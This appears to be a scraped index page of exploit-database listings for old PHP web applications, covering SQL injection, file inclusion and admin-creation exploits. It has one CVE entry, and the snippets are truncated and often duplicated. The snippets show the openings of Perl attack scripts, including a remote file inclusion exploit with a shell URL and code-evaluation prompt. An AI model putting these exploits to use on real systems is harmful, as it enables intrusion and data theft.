Neat weblog 0.2 - articleId SQL Injection

Neat weblog 0.2 - articleId SQL Injection !/usr/bin/perl Neat weblog 0.2 SQL Injection Exploit Discovered by : IRCRASH Dr.Crash Exploited By : Dr.Crash IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm Script Download : http://kent.dl.sourceforge.net/sourceforge/neat-web/neat0.2.zip SQL Addres...

JShop 1.x - 2.x (page.php xPage) Local File Inclusion Vulnerability

No description provided by source. JShop 1.x-2.x local file include --------------------------------------------------------------------------------------------------------------------- + scripts: Jshop Server 1.x-2.x + + Discovered By : v0l4arrra v0l4arrratgmaildotcom + + url: www.jshop.co.uk + ...

phpBB Module XS-Mod 2.3.1 - Local File Inclusion

phpBB Module XS-Mod 2.3.1 - Local File Inclusion ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%. ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%...

phpBB Module XS-Mod 2.3.1 - Local File Inclusion

..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%. ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%. .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%...

phpbbxsmod-lfi.txt

..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%. ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%. .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%...

phpBB Module XS-Mod 2.3.1 Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ phpBB Module XS-Mod 2.3.1 Local File Inclusion Vulnerability ============================================================...

PHP-Nuke Platinum 7.6.b.5 (dynamic_titles.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl Inphex use LWP::UserAgent; use LWP::Simple; use IO::Socket; use Switch; PHP-Nuke Platinum , ForumsStandart - magicquotesgpc = OFF , SQL Injection nukeusers Structure: userid name username useremail femail userwebsite useravatar userregdate usericq...

PHP-Nuke Platinum 7.6.b.5 - dynamic_titles.php SQL Injection

PHP-Nuke Platinum 7.6.b.5 - dynamictitles.php SQL Injection !/usr/bin/perl Inphex use LWP::UserAgent; use LWP::Simple; use IO::Socket; use Switch; PHP-Nuke Platinum , ForumsStandart - magicquotesgpc = OFF , SQL Injection nukeusers Structure: userid name username useremail femail userwebsite...

PHP-Nuke Platinum 7.6.b.5 (dynamic_titles.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================================== PHP-Nuke Platinum 7.6.b.5 dynamictitles.php SQL Injection Exploit ==================================================================== !/usr/bin/perl Inphex use...

PHP-Nuke Platinum 7.6.b.5 - 'dynamic_titles.php' SQL Injection

!/usr/bin/perl Inphex use LWP::UserAgent; use LWP::Simple; use IO::Socket; use Switch; PHP-Nuke Platinum , ForumsStandart - magicquotesgpc = OFF , SQL Injection nukeusers Structure: userid name username useremail femail userwebsite useravatar userregdate usericq userocc userfrom userinterests...

XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST =...

XLPortal 2.2.4 - Search SQL Injection

XLPortal 2.2.4 - Search SQL Injection !D:\Perl\Bin\Perl.exe use LWP::UserAgent; XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST = $ARGV0."/index.php"; $buff =...

XLPortal 2.2.4 - 'Search' SQL Injection

!D:\Perl\Bin\Perl.exe use LWP::UserAgent; XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST = $ARGV0."/index.php"; $buff =...

phpnukekutubisitte-sql.txt

!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 -------------- :::::::::::::::::::::::::::::...

PHP-Nuke KutubiSitte &quot;kid&quot; SQL Injection exploit code adding

!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 ----------------------------- :::::::::::::::::::::::::::::...

PHP-Nuke KutubiSitte Module - 'kid' SQL Injection

source: https://www.securityfocus.com/bid/28126/info The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...

CVE-2008-1167

Stack-based buffer overflow in the useragent function in useragent.c in Squid Analysis Report Generator Sarg 2.2.3.1 allows remote attackers to execute arbitrary code via a long Squid proxy server User-Agent header. NOTE: some of these details are obtained from third party information...

nukeditadmin-sql.txt

!/usr/bin/perl Title: Nukedit 4.9.x Create Admin Exploit Credit: r3dm0v3 http://r3dm0v3.persianblog.ir r3dm0v34tyahoodotcom Tehran - Iran Download: http://www.nukedit.com/content/Download.asp Vulnerables: 4.9.x, prior versions maybe affected. Remote: Yes Dork: "Powered by Nukedit" Fix: Not...

DBHcms <= 1.1.4 Remote File Inclusion exploit

Exploit for unknown platform in category web applications ============================================= DBHcms $shellurl = "http://localhost/s.txt"; print " DBHcms ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=;...

Simple CMS &lt;= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Simple CMS = 1.0.3 ?area= Remote SQL Injection Exploit Code by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project http://www.spanish-hackers.com special thanks to ka0x print " "; print " Simple CMS = 1.0.3 Remote SQL...